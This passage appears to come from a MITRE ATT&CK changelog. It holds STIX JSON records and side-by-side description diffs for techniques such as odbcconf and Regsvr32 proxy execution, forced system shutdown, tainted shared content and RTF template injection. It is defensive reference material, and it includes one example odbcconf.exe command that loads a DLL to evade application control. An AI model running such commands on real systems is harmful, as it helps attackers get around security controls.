[Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"}).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse odbcconf.exe to proxy execution of mal | t | 1 | Adversaries may abuse odbcconf.exe to proxy execution of mal |
| > | icious payloads. Odbcconf.exe is a Windows utility that allo | > | icious payloads. Odbcconf.exe is a Windows utility that allo | ||
| > | ws you to configure Open Database Connectivity (ODBC) driver | > | ws you to configure Open Database Connectivity (ODBC) driver | ||
| > | s and data source names.(Citation: Microsoft odbcconf.exe) T | > | s and data source names.(Citation: Microsoft odbcconf.exe) T | ||
| > | he Odbcconf.exe binary may be digitally signed by Microsoft. | > | he Odbcconf.exe binary may be digitally signed by Microsoft. | ||
| > | Adversaries may abuse odbcconf.exe to bypass application c | > | Adversaries may abuse odbcconf.exe to bypass application c | ||
| > | ontrol solutions that do not account for its potential abuse | > | ontrol solutions that do not account for its potential abuse | ||
| > | . Similar to [Regsvr32](https://attack.mitre.org/techniques/ | > | . Similar to [Regsvr32](https://attack.mitre.org/techniques/ | ||
| > | T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that | > | T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that | ||
| > | can be misused to execute DLLs (ex: <code>odbcconf.exe /S / | > | can be misused to execute DLLs (ex: <code>odbcconf.exe /S / | ||
| > | A {REGSVR \"C:\\Users\\Public\\file.dll\"}</code>). | > | A {REGSVR \"C:\\Users\\Public\\file.dll\"}</code>). | ||
| > | (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo | > | (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo | ||
| > | Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) | > | Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) |
[ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/009",
"external_id": "T1218.009"
},
{
"source_name": "LOLBAS Regasm",
"description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
},
{
"source_name": "LOLBAS Regsvcs",
"description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
},
{
"source_name": "MSDN Regasm",
"description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
},
{
"source_name": "MSDN Regsvcs",
"description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Casey Smith"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:44:27.488000+00:00\", \"old_value\": \"2026-05-12 15:12:00.714000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.(Citation: MSDN Regsvcs)(Citation: MSDN Regasm)\\n\\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\", \"old_value\": \"Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\\n\\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\\n+Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.(Citation: MSDN Regsvcs)(Citation: MSDN Regasm)\\n \\n-Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\\n+Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.(Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)\"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Regsvcs and Regasm to proxy execution | t | 1 | Adversaries may abuse Regsvcs and Regasm to proxy execution |
| > | of code through a trusted Windows utility. Regsvcs and Regas | > | of code through a trusted Windows utility. Regsvcs and Regas | ||
| > | m are Windows command-line utilities that are used to regist | > | m are Windows command-line utilities that are used to regist | ||
| > | er .NET [Component Object Model](https://attack.mitre.org/te | > | er .NET [Component Object Model](https://attack.mitre.org/te | ||
| > | chniques/T1559/001) (COM) assemblies. Both are binaries that | > | chniques/T1559/001) (COM) assemblies. Both are binaries that | ||
| > | may be digitally signed by Microsoft. (Citation: MSDN Regsv | > | may be digitally signed by Microsoft.(Citation: MSDN Regsvc | ||
| > | cs) (Citation: MSDN Regasm) Both utilities may be used to b | > | s)(Citation: MSDN Regasm) Both utilities may be used to byp | ||
| > | ypass application control through use of attributes within t | > | ass application control through use of attributes within the | ||
| > | he binary to specify code that should be run before registra | > | binary to specify code that should be run before registrati | ||
| > | tion or unregistration: <code>[ComRegisterFunction]</code> o | > | on or unregistration: <code>[ComRegisterFunction]</code> or | ||
| > | r <code>[ComUnregisterFunction]</code> respectively. The cod | > | <code>[ComUnregisterFunction]</code> respectively. The code | ||
| > | e with the registration and unregistration attributes will b | > | with the registration and unregistration attributes will be | ||
| > | e executed even if the process is run under insufficient pri | > | executed even if the process is run under insufficient privi | ||
| > | vileges and fails to execute. (Citation: LOLBAS Regsvcs)(Cit | > | leges and fails to execute.(Citation: LOLBAS Regsvcs)(Citati | ||
| > | ation: LOLBAS Regasm) | > | on: LOLBAS Regasm) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Regsvr32.exe to proxy execution of mal | t | 1 | Adversaries may abuse Regsvr32.exe to proxy execution of mal |
| > | icious code. Regsvr32.exe is a command-line program used to | > | icious code. Regsvr32.exe is a command-line program used to | ||
| > | register and unregister object linking and embedding control | > | register and unregister object linking and embedding control | ||
| > | s, including dynamic link libraries (DLLs), on Windows syste | > | s, including dynamic link libraries (DLLs), on Windows syste | ||
| > | ms. The Regsvr32.exe binary may also be signed by Microsoft. | > | ms. The Regsvr32.exe binary may also be signed by Microsoft. | ||
| > | (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32 | > | (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32. | ||
| > | .exe may avoid triggering security tools that may not monito | > | exe may avoid triggering security tools that may not monitor | ||
| > | r execution of, and modules loaded by, the regsvr32.exe proc | > | execution of, and modules loaded by, the regsvr32.exe proce | ||
| > | ess because of allowlists or false positives from Windows us | > | ss because of allowlists or false positives from Windows usi | ||
| > | ing regsvr32.exe for normal operations. Regsvr32.exe can als | > | ng regsvr32.exe for normal operations. Regsvr32.exe can also | ||
| > | o be used to specifically bypass application control using f | > | be used to specifically bypass application control using fu | ||
| > | unctionality to load COM scriptlets to execute DLLs under us | > | nctionality to load COM scriptlets to execute DLLs under use | ||
| > | er permissions. Since Regsvr32.exe is network and proxy awar | > | r permissions. Since Regsvr32.exe is network and proxy aware | ||
| > | e, the scripts can be loaded by passing a uniform resource l | > | , the scripts can be loaded by passing a uniform resource lo | ||
| > | ocator (URL) to file on an external Web server as an argumen | > | cator (URL) to file on an external Web server as an argument | ||
| > | t during invocation. This method makes no changes to the Reg | > | during invocation. This method makes no changes to the Regi | ||
| > | istry as the COM object is not actually registered, only exe | > | stry as the COM object is not actually registered, only exec | ||
| > | cuted. (Citation: LOLBAS Regsvr32) This variation of the tec | > | uted.(Citation: LOLBAS Regsvr32) This variation of the techn | ||
| > | hnique is often referred to as a \"Squiblydoo\" and has been u | > | ique is often referred to as a \"Squiblydoo\" and has been use | ||
| > | sed in campaigns targeting governments. (Citation: Carbon Bl | > | d in campaigns targeting governments.(Citation: Carbon Black | ||
| > | ack Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeti | > | Squiblydoo Apr 2016)(Citation: FireEye Regsvr32 Targeting M | ||
| > | ng Mongolian Gov) Regsvr32.exe can also be leveraged to reg | > | ongolian Gov) Regsvr32.exe can also be leveraged to registe | ||
| > | ister a COM Object used to establish persistence via [Compon | > | r a COM Object used to establish persistence via [Component | ||
| > | ent Object Model Hijacking](https://attack.mitre.org/techniq | > | Object Model Hijacking](https://attack.mitre.org/techniques/ | ||
| > | ues/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | > | T1546/015).(Citation: Carbon Black Squiblydoo Apr 2016) |
reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \u201cblue screen of death\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1529",
"external_id": "T1529"
},
{
"source_name": "Talos Nyetya June 2017",
"description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
"url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
},
{
"source_name": "alert_TA18_106A",
"description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.",
"url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"
},
{
"source_name": "NotMe-BSOD",
"description": "lzcapp. (n.d.). Retrieved September 22, 2025.",
"url": "https://github.com/lzcapp/NotMe-BSOD"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Microsoft Shutdown Oct 2017",
"description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.",
"url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
},
{
"source_name": "NtRaiseHardError",
"description": "NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.",
"url": "https://ntdoc.m417z.com/ntraiseharderror"
},
{
"source_name": "Unit42 Agrius 2023",
"description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
"url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"
},
{
"source_name": "SonicWall",
"description": "SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.",
"url": "https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant"
},
{
"source_name": "CrowdStrike Blog",
"description": "William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense",
"Hubert Mank",
"Janantha Marasinghe"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:35:33.881000+00:00\", \"old_value\": \"2026-05-12 15:12:00.726000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may shut down/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"old_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n-Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n+Adversaries may shut down/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n \\n Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n \\n Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n \\n-Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\\n+Adversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\"}}}",
"previous_version": "1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may shutdown/reboot systems to interrupt access | t | 1 | Adversaries may shut down/reboot systems to interrupt access |
| > | to, or aid in the destruction of, those systems. Operating s | > | to, or aid in the destruction of, those systems. Operating | ||
| > | ystems may contain commands to initiate a shutdown/reboot of | > | systems may contain commands to initiate a shutdown/reboot o | ||
| > | a machine or network device. In some cases, these commands | > | f a machine or network device. In some cases, these commands | ||
| > | may also be used to initiate a shutdown/reboot of a remote c | > | may also be used to initiate a shutdown/reboot of a remote | ||
| > | omputer or network device via [Network Device CLI](https://a | > | computer or network device via [Network Device CLI](https:// | ||
| > | ttack.mitre.org/techniques/T1059/008) (e.g. <code>reload</co | > | attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</c | ||
| > | de>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert | > | ode>).(Citation: Microsoft Shutdown Oct 2017)(Citation: aler | ||
| > | _TA18_106A) They may also include shutdown/reboot of a virtu | > | t_TA18_106A) They may also include shutdown/reboot of a virt | ||
| > | al machine via hypervisor / cloud consoles or command line t | > | ual machine via hypervisor / cloud consoles or command line | ||
| > | ools. Shutting down or rebooting systems may disrupt access | > | tools. Shutting down or rebooting systems may disrupt acces | ||
| > | to computer resources for legitimate users while also imped | > | s to computer resources for legitimate users while also impe | ||
| > | ing incident response/recovery. Adversaries may also use Wi | > | ding incident response/recovery. Adversaries may also use W | ||
| > | ndows API functions, such as `InitializeSystemShutdownExW` o | > | indows API functions, such as `InitializeSystemShutdownExW` | ||
| > | r `ExitWindowsEx`, to force a system to shut down or reboot. | > | or `ExitWindowsEx`, to force a system to shut down or reboot | ||
| > | (Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) A | > | .(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) | ||
| > | lternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Wi | > | Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` W | ||
| > | ndows API functions with the `ResponseOption` parameter set | > | indows API functions with the `ResponseOption` parameter set | ||
| > | to `OptionShutdownSystem` may deliver a \u201cblue screen of deat | > | to `OptionShutdownSystem` may deliver a \u201cblue screen of dea | ||
| > | h\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRais | > | th\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRai | ||
| > | eHardError)(Citation: NotMe-BSOD) In order to leverage these | > | seHardError)(Citation: NotMe-BSOD) In order to leverage thes | ||
| > | API functions, an adversary may need to acquire `SeShutdown | > | e API functions, an adversary may need to acquire `SeShutdow | ||
| > | Privilege` (e.g., via [Access Token Manipulation](https://at | > | nPrivilege` (e.g., via [Access Token Manipulation](https://a | ||
| > | tack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2 | > | ttack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius | ||
| > | 023) In some cases, the system may not be able to boot agai | > | 2023) In some cases, the system may not be able to boot aga | ||
| > | n. Adversaries may attempt to shutdown/reboot a system aft | > | in. Adversaries may attempt to shut down/reboot a system a | ||
| > | er impacting it in other ways, such as [Disk Structure Wipe] | > | fter impacting it in other ways, such as [Disk Structure Wip | ||
| > | (https://attack.mitre.org/techniques/T1561/002) or [Inhibit | > | e](https://attack.mitre.org/techniques/T1561/002) or [Inhibi | ||
| > | System Recovery](https://attack.mitre.org/techniques/T1490), | > | t System Recovery](https://attack.mitre.org/techniques/T1490 | ||
| > | to hasten the intended effects on system availability.(Cita | > | ), to hasten the intended effects on system availability.(Ci | ||
| > | tion: Talos Nyetya June 2017)(Citation: Talos Olympic Destro | > | tation: Talos Nyetya June 2017)(Citation: Talos Olympic Dest | ||
| > | yer 2018) | > | royer 2018) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may deliver payloads to remote systems by addin | t | 1 | Adversaries may deliver payloads to remote systems by addin |
| > | g content to shared storage locations, such as network drive | > | g content to shared storage locations, such as network drive | ||
| > | s or internal code repositories. Content stored on network d | > | s or internal code repositories. Content stored on network d | ||
| > | rives or in other shared locations may be tainted by adding | > | rives or in other shared locations may be tainted by adding | ||
| > | malicious programs, scripts, or exploit code to otherwise va | > | malicious programs, scripts, or exploit code to otherwise va | ||
| > | lid files. Once a user opens the shared tainted content, the | > | lid files. Once a user opens the shared tainted content, the | ||
| > | malicious portion can be executed to run the adversary's co | > | malicious portion can be executed to run the adversary's co | ||
| > | de on a remote system. Adversaries may use tainted shared co | > | de on a remote system. Adversaries may use tainted shared co | ||
| > | ntent to move laterally. A directory share pivot is a varia | > | ntent to move laterally. A directory share pivot is a varia | ||
| > | tion on this technique that uses several other techniques to | > | tion on this technique that uses several other techniques to | ||
| > | propagate malware when users access a shared network direct | > | propagate malware when users access a shared network direct | ||
| > | ory. It uses [Shortcut Modification](https://attack.mitre.or | > | ory. It uses [Shortcut Modification](https://attack.mitre.or | ||
| > | g/techniques/T1547/009) of directory .LNK files that use [Ma | > | g/techniques/T1547/009) of directory .LNK files that use [Ma | ||
| > | squerading](https://attack.mitre.org/techniques/T1036) to lo | > | squerading](https://attack.mitre.org/techniques/T1036) to lo | ||
| > | ok like the real directories, which are hidden through [Hidd | > | ok like the real directories, which are hidden through [Hidd | ||
| > | en Files and Directories](https://attack.mitre.org/technique | > | en Files and Directories](https://attack.mitre.org/technique | ||
| > | s/T1564/001). The malicious .LNK-based directories have an e | > | s/T1564/001). The malicious .LNK-based directories have an e | ||
| > | mbedded command that executes the hidden malware file in the | > | mbedded command that executes the hidden malware file in the | ||
| > | directory and then opens the real intended directory so tha | > | directory and then opens the real intended directory so tha | ||
| > | t the user's expected action still occurs. When used with fr | > | t the user's expected action still occurs. When used with fr | ||
| > | equently used network directories, the technique may result | > | equently used network directories, the technique may result | ||
| > | in frequent reinfections and broad access to systems and pot | > | in frequent reinfections and broad access to systems and pot | ||
| > | entially to new and higher privileged accounts. (Citation: R | > | entially to new and higher privileged accounts.(Citation: Re | ||
| > | etwin Directory Share Pivot) Adversaries may also compromis | > | twin Directory Share Pivot) Adversaries may also compromise | ||
| > | e shared network directories through binary infections by ap | > | shared network directories through binary infections by app | ||
| > | pending or prepending its code to the healthy binary on the | > | ending or prepending its code to the healthy binary on the s | ||
| > | shared network directory. The malware may modify the origina | > | hared network directory. The malware may modify the original | ||
| > | l entry point (OEP) of the healthy binary to ensure that it | > | entry point (OEP) of the healthy binary to ensure that it i | ||
| > | is executed before the legitimate code. The infection could | > | s executed before the legitimate code. The infection could c | ||
| > | continue to spread via the newly infected file when it is ex | > | ontinue to spread via the newly infected file when it is exe | ||
| > | ecuted by a remote system. These infections may target both | > | cuted by a remote system. These infections may target both b | ||
| > | binary and non-binary formats that end with extensions inclu | > | inary and non-binary formats that end with extensions includ | ||
| > | ding, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VB | > | ing, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS | ||
| > | S. | > | . |
*\\template control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting an SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1221",
"external_id": "T1221"
},
{
"source_name": "Talos Template Injection July 2017",
"description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
"url": "https://blog.talosintelligence.com/2017/07/template-injection.html"
},
{
"source_name": "ryhanson phishery SEPT 2016",
"description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
"url": "https://github.com/ryhanson/phishery"
},
{
"source_name": "Redxorblue Remote Template Injection",
"description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
"url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html"
},
{
"source_name": "Anomali Template Injection MAR 2018",
